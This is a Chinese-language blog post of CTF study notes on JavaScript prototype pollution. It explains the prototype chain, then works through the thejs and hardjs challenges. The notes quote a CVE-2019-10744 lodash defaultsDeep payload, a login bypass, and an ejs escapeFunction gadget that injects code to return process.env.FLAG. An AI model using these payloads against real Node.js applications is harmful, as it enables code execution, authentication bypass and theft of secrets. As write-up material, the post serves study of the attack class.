JS原型链污染

ES6之前的类是用function声明的

继承的整个过程就成为该类的原型链,而在js中,每个对象有都有一个指向它的原型的内部链,这个原型又有它自己的原型,直到null为止

js中一切皆对象,所有的变量、函数、数组、对象都始于object的原型即object.prototype。同时js中只有类才有protype,对应对象的属性则为__proto__,二者等价

b->a.prototype->object.protype->null

当我们要使用或输出一个变量时:首先会搜索自己有没有相应的变量,如果不存在的话,就会在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined

所以b中没有c时,会在 test.prototype 中搜索,找到以后就输出c

这里b继承了test.prototype继承object.protype


10.21更新

preview

大概是这么一个关系

原型链污染

通过重写父类prototype中的方法使子类中调用的方法出问题

e.g在src.js文件中

(function()
{
    var secret = ["aaa","bbb"];
    secret.forEach();
})();

在index.html中,我们写入

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Title</title>
</head>
<body>
<script>
Array.prototype.forEach=function() {
  var result="result:";
  for(var i=0;i<this.length;i++){
      result+=this[i];
      result +=' ';
  }
  document.write(result);
}

</script>
<script src="src.js"></script>
</body>
</html>

最终

什么时候可以原型链污染

当用户能够控制数组(对象)的“键名”的操作

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

比如一个merge函数

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

虽然o1.b有了,但是o3中并没有被原型链污染,我们需要吧o2的赋值操作改成o2=JSON.parse(….)

一些例题

code_breaking thejs

这里有merge操作

然后lodash.template

跟进去可以看到一个sourceURL,本来是一个空值,而且option是一个对象

于是我们发送

\u000a是换行符

x-nuca2019 hardjs

如果添加的记录条数大于5,就会调用lodash.defaultsDeep(),这里可以打 CVE-2019-10744 的payload,即

{“constructor”: {“prototype”: {“a0”: true}}}

注意

  • _.defaults_.defaultsDeep处理参数时,是反向处理的,也就是先读取后面的参数,然后往前推,但是最终被修改的,还是第一个参数
  • _.merge_.defaultsDeep会深处理,也就是顶级元素相同的情况下,会一层一层的比较子元素,而其他的只会比较顶级元素,如果顶级元素有一点不同,就直接处理掉

只有一层的时候defaultsdeep和merge差不多,层数多了以后可能就有变化了

_.assign      ({}, { a: 'a' }, { a: 'bb' }) // => { a: "bb" }
_.merge       ({}, { a: 'a' }, { a: 'bb' }) // => { a: "bb" }
_.defaults    ({}, { a: 'a' }, { a: 'bb' }) // => { a: "a"  }
_.defaultsDeep({}, { a: 'a' }, { a: 'bb' }) // => { a: "a"  }

前端思路:XSS得flag

而服务端验证用户登陆仅仅判断了userid和login

于是我们可以用原型链污染绕过登陆

后端思路:在ejs里找个变量污染

ejs是本题所使用的模板引擎,但是搜索eval system等都没有结果,于是后端的思路就可以是在ejs.js中寻找一个函数拼接,形式像 a= “balabala”+ b.c +”balabala”,而且这里的b.c必须默认为undefined,而且a必须在后面被调用,总结来说,就是要找一个动态生成的函数,于是直接在源码里面搜索Function

//ejs.js line 514       找到b.c
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

//ejs.js line 505       默认为空
opts = opts || {};

//ejs.js line 568    调用
var escapeFn = opts.escapeFunction;
//line 600
if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }
//line 614
try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }

可以看出,调用来调用去,最后会生成一个动态函数,于是打payload

//line 571
if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

//line 582
this.source = prepended + this.source + appended;

//line 590 拼接
+ 'try {' + '\n'
        + this.source
        + '} catch (e) {' + '\n'

res.render()->exports.render->handleCache()->(line 216) func=exports.compile()+(line 220)return func->Template.compile()->(line 563) compile->var opts = this.opts , var escapeFn = opts.escapeFunction;->(line 602) if(opts.client) src =escapeFn;->(line 634)fn=new ctor(…..src..)

但是这里有个问题,就是如果你用的是escapeFunction,有很多if(),里面的条件也要为真,比如这种的👇

发送5次

{“type”:”wiki”,”content”:{“constructor”: {“prototype”: {“client”: true,”escapeFunction”: “1; return process.env.FLAG”}}}}

差不多先这样,以后更新hardjs前端思路和sctf


发表评论

电子邮件地址不会被公开。 必填项已用*标注